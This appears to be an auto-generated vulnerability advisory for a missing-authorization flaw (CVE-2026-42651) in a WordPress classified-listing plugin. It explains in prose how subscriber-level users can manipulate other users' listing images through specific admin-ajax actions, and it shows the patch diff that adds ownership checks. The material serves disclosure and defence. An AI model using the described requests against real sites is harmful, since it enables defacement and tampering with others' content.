Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 17, 2026

CVE-2026-42651: Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.9 – Missing Authorization (classified-listing)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.3.9
Patched Version 5.3.10
Disclosed April 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42651:

This is a missing authorization vulnerability in the Classified Listing – AI-Powered Classified ads & Business Directory Plugin for WordPress, up to version 5.3.9. The vulnerability allows authenticated attackers with subscriber-level access to perform unauthorized actions on listing images. The CVSS score is 4.3, indicating a medium severity issue.

Atomic Edge research identifies the root cause as the absence of a capability check in the `AjaxGallery` class, specifically in the `gallery_delete`, `gallery_update_order`, `gallery_upload`, `gallery_image_save`, `gallery_image_restore`, `gallery_update`, and `gallery_image_stream` methods. The vulnerable code at `/classified-listing/app/Controllers/Ajax/AjaxGallery.php` lacks verification that the authenticated user owns the listing or has appropriate permissions before performing actions. The patch introduces a new private method `current_user_can_edit_listing()` which checks if the current user is the author of the listing post or an administrator, and then calls `Functions::current_user_can( ‘edit_’ . rtcl()->post_type, $post_id )` for proper authorization.

The attack vector involves an authenticated user with subscriber-level privileges sending crafted AJAX requests to the WordPress AJAX handler at `/wp-admin/admin-ajax.php`. The attacker sets the `action` parameter to one of the vulnerable actions such as `rtcl_gallery_delete`, `rtcl_gallery_upload`, or `rtcl_gallery_update_order`, and includes a `post_id` parameter referencing a listing they do not own. The vulnerable code does not verify ownership or capabilities before processing the request, allowing the attacker to delete, upload, reorder, or edit images on any listing.

The patch adds multiple permission checks to each affected method. Before processing any action, the code now checks if the user is logged in, verifies basic upload/management capabilities, and crucially calls `$this->current_user_can_edit_listing( $post_id )` for any existing listing. This method returns true only if the user is the post author or an administrator, or if the post is a guest temp post. This effectively prevents authenticated users from manipulating images on listings they do not own.

Successful exploitation could allow an attacker to delete images from any listing, upload malicious images to other users’ listings, reorder images, modify image captions and content, edit image dimensions, and restore edited images. This compromises the integrity of the classified listings and could be used to deface listings, insert inappropriate content, or manipulate the visual presentation of other users’ advertisements.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/classified-listing/app/Controllers/Ajax/AjaxGallery.php
+++ b/classified-listing/app/Controllers/Ajax/AjaxGallery.php
@@ -10,6 +10,36 @@

 class AjaxGallery {

+	/**
+	 * Verify that the current user owns (or can edit) the given listing.
+	 * Returns true when the request should be allowed, false otherwise.
+	 *
+	 * For brand-new listings ($post_id === 0) the caller only needs to be
+	 * logged-in (or unregistered posting must be enabled).
+	 *
+	 * For existing listings the user must be the author or an administrator,
+	 * with a special exception for guest temp posts (post_status 'rtcl-temp',
+	 * author 0, unregistered posting enabled).
+	 */
+	private function current_user_can_edit_listing( $post_id ) {
+		$post_id = absint( $post_id );
+
+		$listing = rtcl()->factory->get_listing( $post_id );
+		if ( ! $listing ) {
+			return false;
+		}
+
+		$post        = $listing->get_listing();
+		$post_author = (int) $post->post_author;
+
+		// Guest temp posts created during unregistered posting.
+		if ( 'rtcl-temp' === $post->post_status && 0 === $post_author && Functions::is_enable_post_for_unregister() ) {
+			return true;
+		}
+
+		return Functions::current_user_can( 'edit_' . rtcl()->post_type, $post_id );
+	}
+
 	public function __construct() {
 		add_action( 'wp_ajax_rtcl_gallery_upload', [ $this, 'gallery_upload' ] );
 		add_action( 'wp_ajax_rtcl_gallery_update_order', [ $this, 'gallery_update_order' ] );
@@ -20,7 +50,7 @@
 		add_action( 'wp_ajax_rtcl_gallery_image_stream', [ $this, 'gallery_image_stream' ] );


-		if ( !is_user_logged_in() && Functions::is_enable_post_for_unregister() ) {
+		if ( ! is_user_logged_in() && Functions::is_enable_post_for_unregister() ) {
 			add_action( 'wp_ajax_nopriv_rtcl_gallery_upload', [ $this, 'gallery_upload' ] );
 			add_action( 'wp_ajax_nopriv_rtcl_gallery_update_order', [ $this, 'gallery_update_order' ] );
 			add_action( 'wp_ajax_nopriv_rtcl_gallery_delete', [ $this, 'gallery_delete' ] );
@@ -29,38 +59,69 @@
 			add_action( 'wp_ajax_nopriv_rtcl_gallery_update', [ $this, 'gallery_update' ] );
 			add_action( 'wp_ajax_nopriv_rtcl_gallery_image_stream', [ $this, 'gallery_image_stream' ] );
 		}
-
 	}

 	function gallery_delete() {
-		if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+		if ( ! check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		if ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Registration required to delete listing image.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		$post_id = absint( Functions::request( "post_id" ) );
+		if ( $post_id > 0 && ! $this->current_user_can_edit_listing( $post_id ) ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" )
+				"error"  => __( "You do not have permission to delete images for this listing.", "classified-listing" ),
 			] );

 			exit;
 		}

 		$attach_id = intval( $_POST["attach_id"] );
-		$attach = get_post( $attach_id );
+		$attach    = get_post( $attach_id );

 		if ( $attach === null ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Attachment does not exist.", "classified-listing" )
+				"error"  => __( "Attachment does not exist.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		if ( is_user_logged_in() && ( ! current_user_can( 'delete_post', $attach_id ) && ! current_user_can( 'manage_rtcl_listing_images' ) ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "You are not allowed to delete listing images.", "classified-listing" ),
 			] );
-		} elseif ( $attach->post_parent != absint( Functions::request( "post_id" ) ) ) {
+
+			exit;
+		}
+
+		if ( $attach->post_parent != absint( Functions::request( "post_id" ) ) ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Incorrect attachment ID.", "classified-listing" )
+				"error"  => __( "Incorrect attachment ID.", "classified-listing" ),
 			] );
 		} elseif ( wp_delete_attachment( $attach_id ) ) {
 			echo wp_json_encode( [ "result" => 1 ] );
 		} else {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "File could not be deleted.", "classified-listing" )
+				"error"  => __( "File could not be deleted.", "classified-listing" ),
 			] );
 		}

@@ -68,38 +129,79 @@
 	}

 	function gallery_update_order() {
-		if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+		if ( ! check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
 			wp_send_json_error( [ "error" => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ) ] );
 		}

+		if ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) {
+			wp_send_json_error( [ "error" => __( "Registration required to reorder listing image.", "classified-listing" ) ] );
+		}
+
+		if ( is_user_logged_in() && ( ! current_user_can( 'upload_files' ) && ! current_user_can( 'manage_rtcl_listing_images' ) ) ) {
+			wp_send_json_error( [ "error" => __( "You are not allowed to reorder listing images.", "classified-listing" ) ] );
+		}
+
 		$post_id = intval( Functions::request( "post_id" ) );
-		$ordered_keys = !empty( $_POST['ordered_keys'] ) && is_array( $_POST['ordered_keys'] ) ? $_POST['ordered_keys'] : [];
+
+		if ( $post_id > 0 && ! $this->current_user_can_edit_listing( $post_id ) ) {
+			wp_send_json_error( [ "error" => __( "You do not have permission to reorder images for this listing.", "classified-listing" ) ] );
+		}
+
+		$ordered_keys = ! empty( $_POST['ordered_keys'] ) && is_array( $_POST['ordered_keys'] ) ? $_POST['ordered_keys'] : [];
 		$ordered_keys = $ordered_keys ? array_map( 'intval', $ordered_keys ) : [];
 		$ordered_keys = $ordered_keys ? array_filter( $ordered_keys ) : [];
-		if ( !empty( $ordered_keys ) ) {
+		if ( ! empty( $ordered_keys ) ) {
 			update_post_meta( $post_id, '_rtcl_attachments_order', $ordered_keys );
 		}
 		wp_send_json_success( $ordered_keys );
 	}

 	function gallery_upload() {
+		if ( ! check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		if ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Registration required to upload listing image.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		if ( is_user_logged_in() && ( ! current_user_can( 'upload_files' ) && ! current_user_can( 'manage_rtcl_listing_images' ) ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "You are not allowed to upload listing images.", "classified-listing" ),
+			] );

-		if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+			exit;
+		}
+
+		$parent_post_id = isset( $_POST["post_id"] ) ? absint( $_POST["post_id"] ) : 0;
+		if ( $parent_post_id > 0 && ! $this->current_user_can_edit_listing( $parent_post_id ) ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" )
+				"error"  => __( "You do not have permission to upload images for this listing.", "classified-listing" ),
 			] );

 			exit;
 		}
-		$v = new UploadHelper();
-		$field_name = Functions::request( "field_name" );
+
+		$v           = new UploadHelper();
+		$field_name  = Functions::request( "field_name" );
 		$form_params = [
 			"form_scheme" => Functions::request( "form_scheme" ),
 		];
 		$form_scheme = apply_filters( "rtcl_form_scheme", Helper::instance()->get( "form" ), $form_params );
 		$form_scheme = apply_filters( "rtcl_form_load", $form_scheme );
-		if ( !empty( $form_scheme["field"] ) && is_array( $form_scheme["field"] ) ) {
+		if ( ! empty( $form_scheme["field"] ) && is_array( $form_scheme["field"] ) ) {
 			foreach ( $form_scheme["field"] as $key => $field ) {
 				if ( $field["name"] == $field_name ) {
 					if ( isset( $field["validator"] ) && is_array( $field["validator"] ) ) {
@@ -107,7 +209,6 @@
 							$v->add_validator( $vcallback );
 						}
 					}
-
 				}
 			}
 		}
@@ -118,7 +219,7 @@
 		// you can use WP's wp_handle_upload() function:
 		$status = wp_handle_upload( $_FILES['async-upload'], [
 			'test_form' => true,
-			'action'    => 'rtcl_gallery_upload'
+			'action'    => 'rtcl_gallery_upload',
 		] );

 		if ( isset( $status['error'] ) ) {
@@ -145,12 +246,11 @@
 			'post_mime_type' => $filetype['type'],
 			'post_title'     => preg_replace( '/.[^.]+$/', '', basename( $filename ) ),
 			'post_content'   => '',
-			'post_status'    => 'inherit'
+			'post_status'    => 'inherit',
 		];

 		// Create post if does not exist
 		if ( $parent_post_id < 1 ) {
-
 			add_filter( "post_type_link", "__return_empty_string" );

 			$parent_post_id = wp_insert_post( apply_filters( "rtcl_insert_temp_post_for_gallery", [
@@ -159,7 +259,7 @@
 				'post_status'     => Functions::get_temp_listing_status(),
 				'post_author'     => wp_get_current_user()->ID,
 				'post_type'       => rtcl()->post_type,
-				'comments_status' => 'closed'
+				'comments_status' => 'closed',
 			] ) );

 			remove_filter( "post_type_link", "__return_empty_string" );
@@ -167,7 +267,7 @@

 		// Insert the attachment.
 		$attach_id = wp_insert_attachment( $attachment, $filename, $parent_post_id );
-		if ( !is_wp_error( $attach_id ) ) {
+		if ( ! is_wp_error( $attach_id ) ) {
 			wp_update_attachment_metadata( $attach_id, Functions::generate_attachment_metadata( $attach_id, $filename, Functions::get_image_sizes() ) );
 		}
 		// Fix the image guid url
@@ -177,44 +277,70 @@
 	}

 	function gallery_image_save() {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) && ! check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		if ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Registration required to save listing image.", "classified-listing" ),
+			] );
+
+			exit;
+		}

-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) && !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+		if ( is_user_logged_in() && ( ! current_user_can( 'manage_rtcl_options' ) && ! current_user_can( 'manage_rtcl_listing_images' ) ) ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" )
+				"error"  => __( "You are not allowed to save listing images.", "classified-listing" ),
 			] );
+
 			exit;
 		}

-		if ( !Functions::user_can_edit_image() ) {
+		if ( ! Functions::user_can_edit_image() ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "You cannot edit images.", "classified-listing" )
+				"error"  => __( "You cannot edit images.", "classified-listing" ),
 			] );
 			exit;
 		}

-		$attach_id = absint( Functions::request( "attach_id" ) );
-		$action_type = Functions::request( "action_type" );
+		$attach_id       = absint( Functions::request( "attach_id" ) );
+		$action_type     = Functions::request( "action_type" );
 		$history_encoded = Functions::request( "history" );
-		$post_id = absint( Functions::request( "post_id" ) );
+		$post_id         = absint( Functions::request( "post_id" ) );
+
+		if ( $post_id > 0 && ! $this->current_user_can_edit_listing( $post_id ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "You do not have permission to edit images for this listing.", "classified-listing" ),
+			] );
+			exit;
+		}

 		$size_dash = Functions::request( "size" );
-		$size = str_replace( "_", "-", Functions::request( "size" ) );
+		$size      = str_replace( "_", "-", Functions::request( "size" ) );

-		$attach = get_post( $attach_id );
+		$attach  = get_post( $attach_id );
 		$history = json_decode( $history_encoded );


 		if ( $attach->post_parent != $post_id ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Incorrect Post or Attachment ID.", "classified-listing" )
+				"error"  => __( "Incorrect Post or Attachment ID.", "classified-listing" ),
 			] );
 			exit;
 		}

-		if ( !is_array( $history ) ) {
+		if ( ! is_array( $history ) ) {
 			$history = [];
 		}

@@ -223,10 +349,10 @@
 		$file_name = pathinfo( $attached_file, PATHINFO_FILENAME );

 		if ( $size && $action_type == "edit" ) {
-			$upload = Functions::upload_item_data( $attach_id );
-			$attached_file = dirname( $attached_file ) . "/" . basename( $upload["sizes"][$size_dash]["url"] );
-		} else if ( $action_type == "create" ) {
-			$upload = Functions::upload_item_data( $attach_id );
+			$upload        = Functions::upload_item_data( $attach_id );
+			$attached_file = dirname( $attached_file ) . "/" . basename( $upload["sizes"][ $size_dash ]["url"] );
+		} elseif ( $action_type == "create" ) {
+			$upload        = Functions::upload_item_data( $attach_id );
 			$attached_file = dirname( $attached_file ) . "/" . basename( $upload["sizes"]["full"]["url"] );
 		}

@@ -235,24 +361,24 @@
 		if ( is_wp_error( $image ) ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => $image->get_error_message()
+				"error"  => $image->get_error_message(),
 			] );
 			exit;
 		}

 		foreach ( $history as $c ) {
-			if ( !isset( $c->a ) ) {
+			if ( ! isset( $c->a ) ) {
 				continue;
 			}

 			if ( $c->a == "c" ) {
 				$image->crop( $c->x, $c->y, $c->w, $c->h );
-			} else if ( $c->a == "ro" ) {
+			} elseif ( $c->a == "ro" ) {
 				$image->rotate( $c->v );
-			} else if ( $c->a == "re" ) {
+			} elseif ( $c->a == "re" ) {
 				// resize
 				$image->resize( $c->w, $c->h );
-			} else if ( $c->a == "f" ) {
+			} elseif ( $c->a == "f" ) {
 				$image->flip( $c->h, $c->v );
 			}
 		}
@@ -260,29 +386,29 @@
 		$return = new stdClass();

 		$backup_sizes = get_post_meta( $attach_id, '_wp_attachment_backup_sizes', true );
-		$backup_sizes = !is_array( $backup_sizes ) ? [] : get_post_meta( $attach_id, '_wp_attachment_backup_sizes', true );
-		$meta = wp_get_attachment_metadata( $attach_id );
+		$backup_sizes = ! is_array( $backup_sizes ) ? [] : get_post_meta( $attach_id, '_wp_attachment_backup_sizes', true );
+		$meta         = wp_get_attachment_metadata( $attach_id );

 		$basename = pathinfo( $attached_file, PATHINFO_BASENAME );
-		$dirname = pathinfo( $attached_file, PATHINFO_DIRNAME );
-		$ext = pathinfo( $attached_file, PATHINFO_EXTENSION );
+		$dirname  = pathinfo( $attached_file, PATHINFO_DIRNAME );
+		$ext      = pathinfo( $attached_file, PATHINFO_EXTENSION );
 		$filename = pathinfo( $attached_file, PATHINFO_FILENAME );
-		$suffix = time() . wp_rand( 100, 999 );
+		$suffix   = time() . wp_rand( 100, 999 );

 		$is_resized = preg_match( '/-e([0-9]+)$/', $filename );

 		if ( $action_type == "create" && $size != "full" ) {
-			$sizes = rtcl()->gallery['image_sizes'];
-			$filename = sprintf( "%s-%dx%d", $filename, $sizes[$size]["width"], $sizes[$size]["height"] );
+			$sizes    = rtcl()->gallery['image_sizes'];
+			$filename = sprintf( "%s-%dx%d", $filename, $sizes[ $size ]["width"], $sizes[ $size ]["height"] );
 		}

 		while ( true ) {
-			$filename = preg_replace( '/-e([0-9]+)$/', '', $filename );
-			$filename .= "-e{$suffix}";
+			$filename     = preg_replace( '/-e([0-9]+)$/', '', $filename );
+			$filename     .= "-e{$suffix}";
 			$new_filename = "{$filename}.{$ext}";
-			$new_path = "{$dirname}/$new_filename";
+			$new_path     = "{$dirname}/$new_filename";
 			if ( file_exists( $new_path ) ) {
-				$suffix++;
+				$suffix ++;
 			} else {
 				break;
 			}
@@ -290,10 +416,10 @@

 		$saved = $image->save( $new_path );

-		if ( !$saved ) {
+		if ( ! $saved ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => $image->get_error_message()
+				"error"  => $image->get_error_message(),
 			] );
 			exit;
 		}
@@ -301,61 +427,57 @@
 		if ( $is_resized ) {
 			// working on already resized file, just delete the old file and set
 			// new file name in meta $size
-			$s = $meta["sizes"][$size];
-
-			if ( !empty( $s['file'] ) ) {
+			$s = $meta["sizes"][ $size ];

+			if ( ! empty( $s['file'] ) ) {
 				// delete old resized file
 				$delete_file = path_join( $dirname, $s['file'] );
 				wp_delete_file( $delete_file );
-
 			}
-
 		} else {
 			// working on new image, save the new file name in meta and set backup size
 			$tag = "$size-orig";

-			if ( !isset( $meta['sizes'][$size] ) ) {
-				$backup_sizes[$tag] = [
+			if ( ! isset( $meta['sizes'][ $size ] ) ) {
+				$backup_sizes[ $tag ] = [
 					"file"   => basename( $meta["file"] ),
 					"width"  => $meta["width"],
-					"height" => $meta["height"]
+					"height" => $meta["height"],
 				];
 			} else {
-				$backup_sizes[$tag] = $meta['sizes'][$size];
+				$backup_sizes[ $tag ] = $meta['sizes'][ $size ];
 			}
 		}

-		$meta["sizes"][$size] = [
+		$meta["sizes"][ $size ] = [
 			"file"   => $new_filename,
 			"width"  => $saved["width"],
-			"height" => $saved["height"]
+			"height" => $saved["height"],
 		];


 		if ( $size == "full" && Functions::request( "apply_to_all" ) == "1" ) {
 			$save_path = $dirname;
-			$new_file = $new_path;
+			$new_file  = $new_path;

-			$sizes = rtcl()->gallery['image_sizes'];
+			$sizes     = rtcl()->gallery['image_sizes'];
 			$size_keys = array_keys( $sizes );

 			foreach ( $size_keys as $size_key ) {
-
 				// 1. IF exists delete backup file
 				// 2. MOVE size to backup_size
 				// 3. generate new size
 				// 4. save new size

-				if ( !isset( $backup_sizes[$size_key . '-orig'] ) ) {
-					$backup_sizes[$size_key . '-orig'] = $meta["sizes"][$size_key];
+				if ( ! isset( $backup_sizes[ $size_key . '-orig' ] ) ) {
+					$backup_sizes[ $size_key . '-orig' ] = $meta["sizes"][ $size_key ];
 				}

-				if ( isset( $meta["sizes"][$size_key] ) ) {
-					wp_delete_file( $meta["sizes"][$size_key]["file"] );
+				if ( isset( $meta["sizes"][ $size_key ] ) ) {
+					wp_delete_file( $meta["sizes"][ $size_key ]["file"] );
 				}

-				$cs = $sizes[$size_key];
+				$cs               = $sizes[ $size_key ];
 				$interm_file_name = sprintf( "%s-%dx%d-e%s.png", $file_name, $cs["width"], $cs["height"], $suffix );

 				$image = wp_get_image_editor( $new_file );
@@ -363,111 +485,164 @@

 				$file = $image->save( dirname( $new_file ) . "/" . $interm_file_name );

-				$meta["sizes"][$size_key] = [
+				$meta["sizes"][ $size_key ] = [
 					"file"      => $file["file"],
 					"width"     => $file["width"],
 					"height"    => $file["height"],
-					"mime-type" => $file["mime-type"]
+					"mime-type" => $file["mime-type"],
 				];
 			}
-
 		}

 		wp_update_attachment_metadata( $attach_id, $meta );
 		update_post_meta( $attach_id, '_wp_attachment_backup_sizes', $backup_sizes );

 		$return->result = 1;
-		$return->file = Functions::upload_item_data( $attach_id );
+		$return->file   = Functions::upload_item_data( $attach_id );
 		echo wp_json_encode( $return );

 		exit;
 	}

 	function gallery_image_restore() {
-		if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+		if ( ! check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		if ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Registration required to restore listing image.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		if ( is_user_logged_in() && ( ! current_user_can( 'manage_rtcl_options' ) && ! current_user_can( 'manage_rtcl_listing_images' ) ) ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" )
+				"error"  => __( "You are not allowed to restore listing images.", "classified-listing" ),
 			] );

 			exit;
 		}

-		if ( !Functions::user_can_edit_image() ) {
+		if ( ! Functions::user_can_edit_image() ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "You cannot edit images.", "classified-listing" )
+				"error"  => __( "You cannot edit images.", "classified-listing" ),
 			] );
+
 			exit;
 		}

-		$size = Functions::request( "size" );
+		$size      = Functions::request( "size" );
 		$attach_id = Functions::request( "attach_id" );
-		$post_id = intval( Functions::request( "post_id" ) );
+		$post_id   = intval( Functions::request( "post_id" ) );
+
+		if ( $post_id > 0 && ! $this->current_user_can_edit_listing( $post_id ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "You do not have permission to restore images for this listing.", "classified-listing" ),
+			] );
+
+			exit;
+		}

 		$attach = get_post( $attach_id );

 		if ( $attach->post_parent != $post_id ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Incorrect Post or Attachment ID.", "classified-listing" )
+				"error"  => __( "Incorrect Post or Attachment ID.", "classified-listing" ),
 			] );
 			exit;
 		}

 		if ( $size === "full" ) {
 			// restore all
-			$keys = array_keys( rtcl()->gallery['image_sizes'] );
+			$keys    = array_keys( rtcl()->gallery['image_sizes'] );
 			$restore = array_merge( [ "full" ], $keys );
 		} else {
 			$restore = [ str_replace( "_", "-", $size ) ];
 		}

-		$meta = wp_get_attachment_metadata( $attach_id );
+		$meta           = wp_get_attachment_metadata( $attach_id );
 		$attachment_dir = dirname( get_attached_file( $attach_id ) );
-		$backup_sizes = get_post_meta( $attach_id, '_wp_attachment_backup_sizes', true );
+		$backup_sizes   = get_post_meta( $attach_id, '_wp_attachment_backup_sizes', true );

 		foreach ( $restore as $r ) {
-			if ( isset( $backup_sizes[$r . '-orig'] ) ) {
-				wp_delete_file( $attachment_dir . "/" . $meta["sizes"][$r]["file"] );
-				$meta["sizes"][$r] = $backup_sizes[$r . '-orig'];
-				unset( $backup_sizes[$r . '-orig'] );
+			if ( isset( $backup_sizes[ $r . '-orig' ] ) ) {
+				wp_delete_file( $attachment_dir . "/" . $meta["sizes"][ $r ]["file"] );
+				$meta["sizes"][ $r ] = $backup_sizes[ $r . '-orig' ];
+				unset( $backup_sizes[ $r . '-orig' ] );
 			}
 		}

 		wp_update_attachment_metadata( $attach_id, $meta );
 		update_post_meta( $attach_id, '_wp_attachment_backup_sizes', $backup_sizes );

-		$result = new stdClass();
+		$result         = new stdClass();
 		$result->result = 1;
-		$result->file = Functions::upload_item_data( $attach_id );
+		$result->file   = Functions::upload_item_data( $attach_id );

 		echo wp_json_encode( $result );
 		exit;
 	}

 	function gallery_update() {
+		if ( ! check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ),
+			] );

-		if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+			exit;
+		}
+
+		if ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Registration required to update listing image.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		if ( is_user_logged_in() && ( ! current_user_can( 'manage_rtcl_options' ) && ! current_user_can( 'manage_rtcl_listing_images' ) ) ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" )
+				"error"  => __( "You are not allowed to update listing images.", "classified-listing" ),
 			] );
+
 			exit;
 		}

 		$post_id = intval( $_POST["post_id"] );
+		if ( $post_id > 0 && ! $this->current_user_can_edit_listing( $post_id ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "You do not have permission to update images for this listing.", "classified-listing" ),
+			] );
+
+			exit;
+		}
 		$attach_id = intval( $_POST["attach_id"] );
-		$caption = trim( Functions::request( "caption", "" ) );
-		$content = trim( Functions::request( "content", "" ) );
-		$featured = intval( $_POST["featured"] );
+		$caption   = trim( Functions::request( "caption", "" ) );
+		$content   = trim( Functions::request( "content", "" ) );
+		$featured  = intval( $_POST["featured"] );

 		$attach = get_post( $attach_id );

 		if ( $attach->post_parent != $post_id ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Incorrect Post or Attachment ID.", "classified-listing" )
+				"error"  => __( "Incorrect Post or Attachment ID.", "classified-listing" ),
 			] );
 			exit;
 		}
@@ -475,7 +650,7 @@
 		$result = wp_update_post( [
 			"ID"           => $attach_id,
 			"post_content" => $content,
-			"post_excerpt" => $caption
+			"post_excerpt" => $caption,
 		] );

 		if ( $result instanceof WP_Error ) {
@@ -496,41 +671,68 @@
 	}

 	function gallery_image_stream() {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) && ! check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" ),
+			] );

-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) && !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {
+			exit;
+		}
+
+		if ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Invalid Session. Please refresh the page and try again.", "classified-listing" )
+				"error"  => __( "Registration required to edit listing image.", "classified-listing" ),
 			] );
+
 			exit;
 		}

-		if ( !Functions::user_can_edit_image() ) {
+		if ( is_user_logged_in() && ( ! current_user_can( 'manage_rtcl_options' ) && ! current_user_can( 'manage_rtcl_listing_images' ) ) ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "You cannot edit images.", "classified-listing" )
+				"error"  => __( "You are not allowed to edit listing images.", "classified-listing" ),
 			] );
+
 			exit;
 		}

-		$attach_id = Functions::request( "attach_id" );
+		if ( ! Functions::user_can_edit_image() ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "You cannot edit images.", "classified-listing" ),
+			] );
+
+			exit;
+		}
+
+		$attach_id       = Functions::request( "attach_id" );
 		$history_encoded = Functions::request( "history" );
-		$size = Functions::request( "size" );
-		$post_id = absint( Functions::request( "post_id" ) );
+		$size            = Functions::request( "size" );
+		$post_id         = absint( Functions::request( "post_id" ) );
+
+		if ( $post_id > 0 && ! $this->current_user_can_edit_listing( $post_id ) ) {
+			echo wp_json_encode( [
+				"result" => 0,
+				"error"  => __( "You do not have permission to access images for this listing.", "classified-listing" ),
+			] );
+			exit;
+		}

 		$attach = get_post( $attach_id );

 		if ( $attach->post_parent != $post_id ) {
 			echo wp_json_encode( [
 				"result" => 0,
-				"error"  => __( "Incorrect Post or Attachment ID.", "classified-listing" )
+				"error"  => __( "Incorrect Post or Attachment ID.", "classified-listing" ),
 			] );
 			exit;
 		}

 		$history = json_decode( $history_encoded );

-		if ( !is_array( $history ) ) {
+		if ( ! is_array( $history ) ) {
 			$history = [];
 		}

@@ -543,8 +745,8 @@
 		}

 		if ( $size ) {
-			$upload = Functions::upload_item_data( $attach_id );
-			$attached_file = dirname( $attached_file ) . "/" . basename( $upload["sizes"][$size]["url"] );
+			$upload        = Functions::upload_item_data( $attach_id );
+			$attached_file = dirname( $attached_file ) . "/" . basename( $upload["sizes"][ $size ]["url"] );
